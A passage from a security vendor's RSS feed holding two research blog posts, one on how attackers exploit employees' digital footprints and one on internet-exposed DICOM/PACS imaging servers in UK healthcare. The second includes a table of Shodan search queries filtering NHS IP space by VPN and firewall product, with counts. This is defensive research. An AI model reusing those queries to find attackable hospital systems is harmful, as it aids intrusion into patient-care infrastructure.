documentation may reveal internal domain names, API endpoints, identity providers, and technology stacks. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>These elements allow attackers to identify valid corporate accounts, target employees with privileged access, register impersonation domains that match internal naming conventions, and send phishing emails that reference real vendors, systems, or workflows. This preparation increases the likelihood of credential theft and unauthorized access because the attacker is targeting real users and real systems rather than relying on generic phishing or random scanning.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For employees, digital footprint exposure translates into personal risk that directly impacts corporate security. Leaked credentials, reused passwords, overshared professional information, or historical </span><a class="embedded-entry redactor-component block-entry" type="entry" target="_self" href="/fundamentals/what-is-a-data-breach" data-sys-entry-uid="blt7687ab3c2d29219b" data-sys-entry-locale="en-us" data-sys-content-type-uid="page" sys-style-type="link"><span style='font-size: undefined;'>data breaches</span></a><span style='font-size: undefined;'> can be exploited to impersonate staff, coerce access, or establish credibility during pretexting operations. Senior leaders, IT staff, and individuals with privileged access are particularly vulnerable, as attackers can leverage publicly available information to craft convincing narratives that exploit trust and authority.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Uncontrolled exposure of employee information allows attackers to move from targeting individuals to compromising the organization. This enables them to identify employees with access to key systems, administrative privileges, or sensitive organizational platforms through public work profiles and data obtained from data breaches. They then test exposed credentials on corporate login portals, send phishing emails impersonating trusted internal or external entities, or attempt to intercept authentication codes by targeting exposed phone numbers. Once a single employee account is compromised, attackers can gain access to internal systems, escalate their privileges, and move laterally within the organization.</span></p><h2 style="direction: ltr;">Threat actor exploitation of digital footprints</h2><p style="direction: ltr;"><a href="https://www.rapid7.com/fundamentals/threat-actor/" target="_self"><span style='font-size: undefined;'>Threat actors</span></a><span style='font-size: undefined;'>, whether cybercriminal groups or state-sponsored operators, have always relied heavily on digital footprints in their operations. Publicly available information, leaked data, social media activity, and professional networks provide valuable insight into people, organizations, technologies, and trust relationships, making attacks more targeted and believable. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>With the rise of AI-powered tools, this exploitation has intensified. What once required time-consuming manual research can now be automated, enriched, and scaled almost instantly. AI enables adversaries to turn fragmented online traces into compelling narratives, lures, and impersonations, significantly increasing the speed, precision, and overall impact of attack vectors driven by digital footprints.</span></p><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>Cybercriminals</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>Cybercriminals typically exploit online exposure to establish rapid, monetizable intrusion paths without requiring deep internal access. Public profiles, leaked credentials, exposed servers, misconfigured cloud resources, and operational metadata are aggregated to identify where access already exists or can be obtained with minimal resistance. The focus is on converting exposed data directly into usable access, validating it quickly, and either exploiting or reselling it.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Tactical attack vectors derived from exposed digital footprints include:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Leaked credential exploitation: </strong></span><span style='font-size: undefined;'>Abuse of credentials harvested from data breaches, stealer logs, and infostealer marketplaces, correlated with corporate email domains to gain unauthorized access to VPNs, SSO portals, cloud consoles, SaaS platforms, and legacy authentication endpoints</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Identity and account surface expansion: </strong></span><span style='font-size: undefined;'>Leveraging open professional and social network profiles to enumerate valid usernames, email address formats, job roles, seniority levels, and likely privilege tiers, enabling targeted credential testing and account takeover attempts</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Email signature and metadata harvesting: </strong></span><span style='font-size: undefined;'>Exploitation of email signatures, contact blocks, and publicly shared correspondence to identify internal naming conventions, phone extensions, third-party services, and technology stack indicators useful for impersonation and lateral access</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Document-driven reconnaissance:</strong></span><span style='font-size: undefined;'> Mining publicly exposed or leaked company documents (policies, PDFs, presentations, contracts, org. charts, etc.) to infer internal systems, authentication workflows, directory structures, cloud providers, and security controls</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Infrastructure targeting via exposure leakage: </strong></span><span style='font-size: undefined;'>Identification and exploitation of externally exposed servers, admin panels, APIs, and management interfaces through search engines, passive DNS, certificate transparency logs, and open indexing platforms</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Banner, certificate, and service fingerprinting: </strong></span><span style='font-size: undefined;'>Abuse of SSL/TLS certificates, HTTP headers, API responses, and service banners to fingerprint software versions, cloud services, authentication mechanisms, and unpatched or end-of-life systems</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Cloud asset exploitation: </strong></span><span style='font-size: undefined;'>Targeting publicly exposed storage buckets, orphaned cloud tenants, misconfigured IAM roles, stale API keys, and secrets discovered via open repositories, leaked configuration files, or documentation artifacts</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Access brokerage: </strong></span><span style='font-size: undefined;'>Enabling the validation, packaging, and resale of footprint-derived access (credentials, VPN sessions, cloud console access, shells) within cybercriminal marketplaces, based on assessed business impact and network reach</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Low-noise privilege escalation and lateral movement: </strong></span><span style='font-size: undefined;'>Exploitation of weak segmentation, excessive trust relationships, and overexposed directory or identity services inferred from public documentation, leaked internal diagrams, or misconfigured federation endpoints</span></p></li></ul><h3 style="direction: ltr;"><span style='color:rgb(67, 67, 67);'>State-Sponsored Actors</span></h3><p style="direction: ltr;"><span style='font-size: undefined;'>State-sponsored actors treat exposed digital footprints as long-term intelligence and access-enabling infrastructure. Voluntarily shared information, institutional transparency, technical disclosures, and accidental leaks are fused to build high-fidelity models of people, systems, and dependencies. These actors exploit exposure selectively, prioritizing vectors that support persistent access, intelligence collection, and operational survivability.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Tactical attack vectors derived from exposed digital footprints include:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Identity and role mapping: </strong></span><span style='font-size: undefined;'>Use of social networks, publications, and organizational disclosures to identify privileged users, trust relationships, and lateral movement paths</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Credential and token reuse:</strong></span><span style='font-size: undefined;'> Reuse of leaked credentials, API keys, and tokens over long periods to regain access without new exploits or tooling</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Perimeter exploitation via transparency: </strong></span><span style='font-size: undefined;'>Targeting of publicly documented architectures, exposed technologies, and known integration points</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Exposed service exploitation:</strong></span><span style='font-size: undefined;'> Compromise of internet-facing edge devices, management planes, update services, and CI/CD endpoints</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Supply-chain leverage: </strong></span><span style='font-size: undefined;'>Exploitation of disclosed vendors, SaaS platforms, and cloud dependencies as indirect access paths</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Persistence through legacy exposure: </strong></span><span style='font-size: undefined;'>Abuse of forgotten accounts, test systems, and undercommissioned services still reachable externally</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Defensive evasion through disclosure awareness: </strong></span><span style='font-size: undefined;'>Tailoring operations based on publicly revealed security controls, tooling, and incident history</span></p></li></ul><h2 style="direction: ltr;">Advice for reducing digital footprint risk</h2><p style="direction: ltr;"><span style='font-size: undefined;'>A structured technical approach is imperative to effectively reduce the risk of employees’ digital footprint exposure. It must aim to close identity security gaps, eliminate unknown external resources, and proactively monitor for leaks of sensitive data. First, organizations must strengthen their identity infrastructure by implementing phishing-resistant multi-factor authentication (MFA) for all privileged accounts and by integrating credential exposure monitoring directly at the identity provider (IdP) level to detect and block authentication attempts using compromised credentials.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>In addition, </span><a href="https://www.rapid7.com/fundamentals/external-attack-surface-management-easm/" target="_blank"><span style='font-size: undefined;'>external attack surface management (EASM)</span></a><span style='font-size: undefined;'> must be implemented to identify and remediate internet-exposed, unknown, overlooked, or misconfigured resources, including servers, API endpoints, and storage resources that could expose configuration or sensitive organizational data. Digital risk protection (DRP) programs must prioritize monitoring the personally identifiable information (PII) of executives and board members, privileged credentials, and sensitive intellectual property on dark web forums, data breach datasets, and social media platforms to detect and disrupt adversary reconnaissance and targeting activities in the early stages of an attack lifecycle.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>To reduce the risk of credential exposure, organizations should also continuously monitor for leaked or compromised credentials associated with corporate domains, limit the public disclosure of internal technical information, implement strong authentication methods resistant to credential theft, and respond rapidly when exposed accounts or infrastructure are identified.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>It is equally important to consider employees as an integral part of the extended security perimeter. Technical controls must remain the primary means of mitigation. Measures such as strict access restrictions, centralized logging and analysis, and automated detection and response mechanisms should form the core of the defense. At the same time, it is critical to raise employee awareness about how their personal online activities and digital presence can directly affect the organization’s security posture.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Organizations that implement these measures will see their digital footprint exposure transformed from a silent risk into a managed, measurable security domain, significantly reducing the likelihood of identity theft, targeted intrusions, and the leakage of critical intelligence.</span></p><h2 style="direction: ltr;">Conclusion<strong> </strong></h2><p style="direction: ltr;"><span style='font-size: undefined;'>Today’s threat actors are no longer limited to exploiting technical vulnerabilities; they increasingly weaponize digital footprints as a primary enabler of their operations. For organizations, this means the attack surface extends well beyond networks and endpoints to include all externally exposed information. Any data available online about systems, infrastructure, or employees can be collected, correlated, and exploited to support reconnaissance, targeting, and intrusion planning, often without generating a single security alert or triggering traditional detection mechanisms. As a result, organizations that actively identify, monitor, and manage their external assets and digital footprint are better positioned to detect exposure early, reduce opportunities for adversaries, and strengthen their overall security posture before threats materialize.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Read the Rapid7 Labs threat report “</strong></span><a href="https://www.rapid7.com/lp/executive-digital-footprints-threat-report/" target="_blank"><span style='font-size: undefined;'><strong>Executives’ Digital Footprints: The Overlooked Corporate Vulnerability</strong></span></a><span style='font-size: undefined;'><strong>” for more insights and detailed recommendations.</strong></span></p>]]></description>
      <link>https://www.rapid7.com/blog/post/tr-data-breach-digital-footprints-strategic-cyber-risk-report</link>
      <guid isPermaLink="false">blt1e6bda08a0aeb3c4</guid>
      <category><![CDATA[Social Engineering]]></category>
      <category><![CDATA[Research]]></category>
      <category><![CDATA[Labs]]></category><dc:creator><![CDATA[Jeremy Makowski]]></dc:creator>
      <pubDate>Thu, 26 Feb 2026 14:00:00 GMT</pubDate><media:content url="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt64b644da393aaf3c/69a0496b6da80336bb7b711b/promo-threat-report-executives-digital-footprint.jpg" medium="image" />
    </item>
    <item>
      <title><![CDATA[Your MRI is Online: The Hidden Risks of Exposed DICOM Servers in UK Healthcare]]></title>
      <description><![CDATA[<p style="direction: ltr;"><span style='font-size: undefined;'>Hospitals invest heavily in physical security: Clinical areas are access-controlled, sensitive rooms are locked, and patient records are governed by strict handling procedures. Network exposure does not always receive the same level of scrutiny.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Rapid7 Labs identified more than 30 UK-based systems responding to DICOM requests over Port 104, the default port used for medical imaging traffic. These systems were reachable from the public internet at the time of observation. Project Sonar was used to confirm service responsiveness only; no attempt was made to access patient records or exploit the systems.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>When Port 104 is reachable from outside trusted networks without VPN restriction or encryption, the imaging service can be detected through routine internet scanning. This type of exposure matters because protocols like DICOM were developed for use within protected clinical environments where network access is already controlled. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Research into medical imaging infrastructure has found that when security best practices are not implemented, imaging systems and their acquisition gateways are placed on networks in ways that expose them to cybercriminal discovery. In one study of publicly accessible PACS (picture archiving and communication systems) servers, researchers reported that systems using default configurations or lacking appropriate network controls responded to internet scans and contained metadata such as patient identifiers, and the lack of basic protocol safeguards made them susceptible to data reconstruction and modification.</span></p><h2 style="direction: ltr;">Why should DICOM not be internet-facing?</h2><p style="direction: ltr;"><span style='font-size: undefined;'>DICOM, or digital imaging and communications in medicine, is the international standard used to format, store, and transmit medical imaging data. It governs both the image itself and associated metadata, which can include patient identifiers, study details, acquisition parameters, and device information. Imaging modalities such as CT scanners and MRI machines use DICOM to send studies to Picture Archiving and Communication Systems (PACS), where images are stored and later retrieved by radiologists and clinicians.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>DICOM operates at the application layer. Port 104 is the traditional default port associated with DICOM services, but the protocol is not limited to that port. PACS systems and imaging services may also communicate over web ports such as 80 or 443, and in some cases expose web-based or administrative interfaces over additional ports. In our broader research, we identified more than 15 PACS devices that were externally reachable, including systems accessible over standard web ports.</span></p><p>⠀</p><figure style="margin: 0; text-align: center"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1933ad177a53b96f/699f23443b580eba7a24a94e/clarify-pacs-login-screen.png" alt="clarify-pacs-login-screen.png" caption="Figure 1: Clarify – PACS admin login portal." height="335" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="clarify-pacs-login-screen.png" width="365" style="text-align: center; width: 365px; height: 335px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt1933ad177a53b96f/699f23443b580eba7a24a94e/clarify-pacs-login-screen.png" data-sys-asset-uid="blt1933ad177a53b96f" data-sys-asset-filename="clarify-pacs-login-screen.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 1: Clarify – PACS admin login portal." data-sys-asset-alt="clarify-pacs-login-screen.png" data-sys-asset-position="center" sys-style-type="display"/><figcaption style="text-align:center">Figure 1: Clarify – PACS admin login portal.</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>In standard hospital deployments, DICOM services are intended to operate within segmented and trusted clinical networks. The protocol historically assumed that the surrounding network would provide access control and protection. When imaging systems or PACS services are reachable from public IP space, whether over Port 104 or web-based interfaces, they may respond to protocol negotiation or HTTP requests and disclose service-level information. In some configurations, metadata or system details can be retrieved without strong authentication controls.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>That condition does not necessarily imply full access to imaging archives. It does mean that clinical infrastructure is externally discoverable and capable of interaction beyond its intended network boundary. The risk arises from that exposure, particularly when it is unintended or unmonitored.</span></p><h2 style="direction: ltr;">Exposed DICOM servers in the UK: What Rapid7 Labs found</h2><p style="direction: ltr;"><span style='font-size: undefined;'>Using </span><a class="embedded-entry redactor-component block-entry" type="entry" target="_self" href="/research/project-sonar" data-sys-entry-uid="blt8a72e0dee56edd04" data-sys-entry-locale="en-us" data-sys-content-type-uid="page" sys-style-type="link"><span style='font-size: undefined;'>Project Sonar</span></a><span style='font-size: undefined;'>, Rapid7’s internet-wide exposure monitoring framework, we identified more than 30 UK-based healthcare systems responding to DICOM-related requests, including services associated with Port 104. The exposure was not limited to that port. Additional PACS and related healthcare systems were observed to be reachable over web ports such as 80 and 443, with more than 15 PACS devices directly accessible from public IP space.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt74d5b3f6408e68f6/699f237fb009386b1a8334c4/DICOM-medical-devices-exposed-UK-map.png" alt="DICOM-medical-devices-exposed-UK-map.png" caption="Figure 2: UK-based exposed Healthcare systems to the Internet." height="535" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="DICOM-medical-devices-exposed-UK-map.png" width="467" style="width: 467px; height: 535px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt74d5b3f6408e68f6/699f237fb009386b1a8334c4/DICOM-medical-devices-exposed-UK-map.png" data-sys-asset-uid="blt74d5b3f6408e68f6" data-sys-asset-filename="DICOM-medical-devices-exposed-UK-map.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 2: UK-based exposed Healthcare systems to the Internet." data-sys-asset-alt="DICOM-medical-devices-exposed-UK-map.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 2: UK-based exposed Healthcare systems to the Internet.</figcaption></div></figure><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>This methodology does not exploit systems or access patient records. It confirms whether a service is reachable and actively responding.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>For healthcare organizations navigating increased regulatory scrutiny and rising cyber threats, this kind of medical device exposure is unnecessary risk.</span></p><h2 style="direction: ltr;">The cybersecurity risks of exposed medical imaging systems</h2><p style="direction: ltr;"><span style='font-size: undefined;'>When a DICOM server is exposed to the internet, and the risk extends beyond technical misconfiguration, it introduces three primary threat categories:</span></p><h3 style="direction: ltr;">Patient data exposure and healthcare identity theft</h3><p style="direction: ltr;"><span style='font-size: undefined;'>DICOM files typically contain structured metadata fields, which may include:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Patient name.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Date of birth.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Study identifiers.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Referring clinician information.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'>If a system allows metadata queries without authentication or encryption, those identifiers may be retrievable. Healthcare data retains long-term value because it cannot be reissued in the way payment credentials can.</span></p><h3 style="direction: ltr;">Medical image manipulation and clinical integrity risks</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Imaging workflows depend on trusted transmission between modalities, PACS servers, and diagnostic workstations. Research has shown that medical images can be altered using machine learning techniques under controlled conditions. </span></p><p style="direction: ltr;"><span style='font-size: undefined;'>Exploitation requires access and technical capability, but exposure beyond intended network boundaries increases the potential attack surface. Clinical confidence depends on assurance that imaging data has not been modified in transit.</span></p><h3 style="direction: ltr;">Ransomware entry points via PACS and imaging systems</h3><p style="direction: ltr;"><span style='font-size: undefined;'>Medical imaging systems like DICOM connect to PACS servers. If an exposed DICOM service provides a foothold, attackers may attempt lateral movement inside the network.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>An exposed PACS server can quickly become operational ground zero - delaying procedures, disrupting diagnostics, and impacting patient care. As healthcare continues to face ransomware targeting across the UK and EU, edge systems and externally visible services are often initial access points.</span></p><h2 style="direction: ltr;">UK healthcare attack surface exposure: DICOM is part of a wider pattern</h2><p style="direction: ltr;"><span style='font-size: undefined;'>The exposure of 30+ DICOM systems is concerning. But it is not isolated. A broader review of UK healthcare-associated IP space shows externally visible infrastructure including:</span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Cisco edge devices.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>BigIP appliances.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Check Point firewalls.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Citrix NetScaler instances.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Ivanti Endpoint Manager Mobile.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>SSL VPN portals.</span></p></li></ul><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Search for NHS registered names and filter on UK/GB:</strong></span></p><table><tbody><tr><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>System Tech</strong></span></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'><strong>Count</strong></span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22ciscoSystems%22"><span style='font-size: undefined;'>ciscoSystems</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>153</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22BigIP%22"><span style='font-size: undefined;'>BigIP</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>36</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22Check+Point+Firewall%22"><span style='font-size: undefined;'>Check Point Firewall</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>30</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22Check+Point+SVN+foundation+httpd%22"><span style='font-size: undefined;'>Check Point SVN foundation httpd</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>26</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22Cisco+ASA+SSL+VPN%22"><span style='font-size: undefined;'>Cisco ASA SSL VPN</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>6</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22Connectra+Check+Point+Web+Security+httpd%22"><span style='font-size: undefined;'>Connectra Check Point Web Security httpd</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>6</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22Citrix+Netscaler%22"><span style='font-size: undefined;'>Citrix Netscaler</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>4</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22Ivanti+Endpoint+Manager+Mobile+%28EPMM%29%22"><span style='font-size: undefined;'>Ivanti Endpoint Manager Mobile (EPMM)</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>4</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22Cisco+IOS+http+config%22"><span style='font-size: undefined;'>Cisco IOS http config</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>2</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22Fortinet+FortiGate%22"><span style='font-size: undefined;'>Fortinet FortiGate</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22Fortinet+FortiGate-100E%22"><span style='font-size: undefined;'>Fortinet FortiGate-100E</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22Fortinet+FortiGate-40F%22"><span style='font-size: undefined;'>Fortinet FortiGate-40F</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22SonicWall%22"><span style='font-size: undefined;'>SonicWall</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td></tr><tr><td><p style="direction: ltr;"><a href="https://www.shodan.io/search?query=country%3A%22GB%22+org%3A%22NHS%22+product%3A%22Sophos+SSL+VPN+User+Portal%22"><span style='font-size: undefined;'>Sophos SSL VPN User Portal</span></a></p></td><td><p style="direction: ltr;"><span style='font-size: undefined;'>1</span></p></td></tr></tbody></table><p><em>Table 1: </em><span style='font-size: undefined;'><em>Externally visible technologies identified across UK healthcare-associated IP space.</em></span></p><p>⠀</p><p style="direction: ltr;"><span style='font-size: undefined;'>These technologies are standard components of modern IT environments. The concern arises when exposure is unintended, unmonitored, or paired with delayed remediation. Public reporting in 2025 shows that ransomware groups continue to target healthcare following disclosure of vulnerabilities in edge appliances and remote access technologies. In several documented cases, exploitation occurred within days of vulnerability publication.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>When more than 30 imaging systems are externally reachable, the underlying issue is unlikely to be a single isolated configuration error. It suggests incomplete visibility into which services are accessible from outside the organisation at any given moment.</span></p><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt80dd00001c6429e8/699f250da2156840331096fb/NHS-product-trends-over-time-graph.png" alt="NHS-product-trends-over-time-graph.png" caption="Figure 3: Visibility of selected healthcare technologies over time." height="672" class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="NHS-product-trends-over-time-graph.png" width="1553" max-width="1553" max-height="672" style="max-width: 1553px; width: 1553px; max-height: 672px; height: 672px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt80dd00001c6429e8/699f250da2156840331096fb/NHS-product-trends-over-time-graph.png" data-sys-asset-uid="blt80dd00001c6429e8" data-sys-asset-filename="NHS-product-trends-over-time-graph.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 3: Visibility of selected healthcare technologies over time." data-sys-asset-alt="NHS-product-trends-over-time-graph.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 3: Visibility of selected healthcare technologies over time.</figcaption></div></figure><h2>External asset visibility and healthcare IT complexity </h2><p style="direction: ltr;"><span style='font-size: undefined;'>Healthcare IT environments evolve incrementally, with legacy protocols remaining operational because imaging equipment has long service lifecycles. This slow evolution can cause complications like: </span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Vendor default configurations are often inherited from initial deployment. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Third-party integrations extending network connectivity beyond hospital campuses.</span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Broad remote access supporting distributed clinical teams. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Cloud services introducing additional infrastructure layers that may not be consistently mapped alongside on-premise systems.</span></p></li></ul><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt11a93509d5eadc6f/699f261e56ca115149bb5704/UK-DICOM-top-ransomware-groups-graph.png" height="521" alt="UK-DICOM-top-ransomware-groups-graph.png" caption="Figure 4: Ransomware groups observed targeting UK/EU healthcare in 2025." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="UK-DICOM-top-ransomware-groups-graph.png" width="1003" style="width: 1003px; height: 521px" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt11a93509d5eadc6f/699f261e56ca115149bb5704/UK-DICOM-top-ransomware-groups-graph.png" data-sys-asset-uid="blt11a93509d5eadc6f" data-sys-asset-filename="UK-DICOM-top-ransomware-groups-graph.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 4: Ransomware groups observed targeting UK/EU healthcare in 2025." data-sys-asset-alt="UK-DICOM-top-ransomware-groups-graph.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 4: Ransomware groups observed targeting UK/EU healthcare in 2025.</figcaption></div></figure><p>⠀</p><figure style="margin: 0"><div style="display: inline-block"><img src="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt138272a2aa980cdf/699f261e883c6379c54d848f/UK-DICOM-monthly-ransomware-activity-graph.png" alt="UK-DICOM-monthly-ransomware-activity-graph.png" caption="Figure 5: Ransomware group activity observed around UK/EU healthcare in 2025." class="embedded-asset" content-type-uid="sys_assets" type="asset" asset-alt="UK-DICOM-monthly-ransomware-activity-graph.png" style="width: auto" data-sys-asset-filelink="https://images.contentstack.io/v3/assets/blte4f029e766e6b253/blt138272a2aa980cdf/699f261e883c6379c54d848f/UK-DICOM-monthly-ransomware-activity-graph.png" data-sys-asset-uid="blt138272a2aa980cdf" data-sys-asset-filename="UK-DICOM-monthly-ransomware-activity-graph.png" data-sys-asset-contenttype="image/png" data-sys-asset-caption="Figure 5: Ransomware group activity observed around UK/EU healthcare in 2025." data-sys-asset-alt="UK-DICOM-monthly-ransomware-activity-graph.png" data-sys-asset-position="none" sys-style-type="display"/><figcaption style="text-align:center">Figure 5: Ransomware group activity observed around UK/EU healthcare in 2025.</figcaption></div></figure><p style="direction: ltr;"><span style='font-size: undefined;'></span></p><p><span style='font-size: undefined;'>Within this context, continuous external visibility becomes challenging. Many organisations do not maintain a real-time inventory of internet-facing services across all owned IP ranges. And so, without deliberate intent,  a DICOM server or medical device can become externally reachable., Until specifically identified, the exposure can persist. The lesson?Infrastructure designed for ease of deployment can accumulate risk when oversight is periodic rather than continuous.</span></p><h2 style="direction: ltr;">How to reduce DICOM and medical device exposure</h2><p style="direction: ltr;"><span style='font-size: undefined;'>As ransomware groups accelerate and exploitation windows shrink, it would be easy to frame exposure as oversight. But that diagnosis would miss the point.</span></p><p style="direction: ltr;"><span style='font-size: undefined;'>The issue is not a lack of cybersecurity awareness within the NHS. It is the structural complexity of modern healthcare IT environments, with legacy protocols continuing to operate alongside newer systems. </span></p><ul><li style="direction: ltr;"><p style="direction: ltr;"><span style='font-size: undefined;'>Vendor-default configurations are often inherited rather than re-architected. </span></p></li><li style="direction: ltr;"><p style="direction: ltr;"><span 